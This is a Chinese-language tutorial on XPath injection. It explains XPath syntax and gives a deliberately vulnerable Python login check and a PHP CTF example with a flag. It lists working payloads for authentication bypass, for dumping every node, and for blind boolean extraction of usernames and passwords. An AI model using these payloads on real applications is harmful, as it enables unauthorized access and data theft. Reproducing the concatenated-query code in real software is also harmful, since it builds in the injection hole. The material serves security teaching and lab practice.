目录
知识简介
攻击简介
基础语法
语法演示
漏洞简介
漏洞原理
漏洞复现
Xpath盲注
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
“nodename” – 选取nodename的所有子节点
“/nodename” – 从根节点中选择
“//nodename” – 从当前节点选择
“..” – 选择当前节点的父节点
“child::node()” – 选择当前节点的所有子节点
"@" -选择属性
"//user[position()=2] " 选择节点位置
from lxml import etree
xml ='''张 三 18 male 李四 24 female
'''
tree = etree.XML(xml)
out = tree.xpath('//students')[0][0][0][0].text
print(out)
print('-------------------------------------')
out = tree.xpath('//name')[1].text
print(out)
out = tree.xpath('//name')[1].xpath('@id')
print(out)
张
-------------------------------------
李四
['ls']
XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是
cookie
,headers
,request parameters/input
等
from lxml import etreexml ='''admin 123456
'''
tree = etree.XML(xml)
username = input('请输入用户名')
password = input('请输入密码')
out = tree.xpath('/students/student[id/text()="'+username+'" and password/text()="'+password+'"]')
print('登录成功,欢迎您'+out[0][0].text)
正常登陆
不正常登录
" or "1"="1
/students/student[id/text()="admin" and password/text() = "" or "1"="1"]
index.php
xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.": " . $x_value;
echo "
";
}
}
?>
coleak.xml
user1
KEY:1
user2
KEY:2
user3
KEY:3
user4
KEY:4
user5
KEY:5
user6
KEY:6
user7
KEY:7
user8
KEY:8
user9
KEY:9
hctf
flag:hctf{Dd0g_fac3_t0_k3yboard233}
正常查询
测试 ?user='" 时出现报错,可以确定存在Xpath注入
-1' or 1=1 or ''='
$query="user/username[@name='-1' or 1=1 or ''='']";
1=1为真 ''='' 为真,则可以匹配当前节点下的所有user
']|//*|//*['
$query="user/username[@name='']|//*|//*['';
这里闭合了$user前后的单引号同时执行三个操作,其中第二个操作//*即是关键点,列出文档中的所有元素,最后拿到flag
xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息,同样以0x05中的源码为例
Xpath盲注步骤:
从根节点开始判断
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点
判断根节点下的节点长度
'or string-length(name(/*[1]))=8 or ''='
猜解根节点下的节点名称
'or substring(name(/*[1]), 1, 1)='a' or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
..
'or substring(name(/*[1]), 8, 1)='s' or ''='
猜解出该节点名称为accounts
'or count(/accounts)=1 or ''=' /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
猜解accounts下的节点名称
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='
accounts下子节点名称为user
'or count(/accounts/user)=2 or ''=' user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点
第一个user节点的子节点长度为8:
'or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ''='
读取user节点的下子节点
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='
最终所有子节点值验证如下:
'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username' or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email' or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype' or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password' or ''='
继续猜解:
'or count(/accounts/user[position()=1]/username/*)>0 or ''='
'or count(/accounts/user[position()=1]/email/*)>0 or ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='
均为 false,不再有子节点,则可以尝试读取这些节点的值
第一个user下的username值长度为6:
'or string-length((//user[position()=1]/username[position()=1]))=6 or ''='
读取第一个user下usernaem的值
'or substring((//user[position()=1]/username[position()=1]),1,1)='T' or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='
可依次读取所有的子节点的值,第二user节点的子节点值读取方式:
'or string-length((//user[position()=2]/username[position()=1]))=4 or ''=' 第一个user下的username长度为4
......
重复上边步骤即可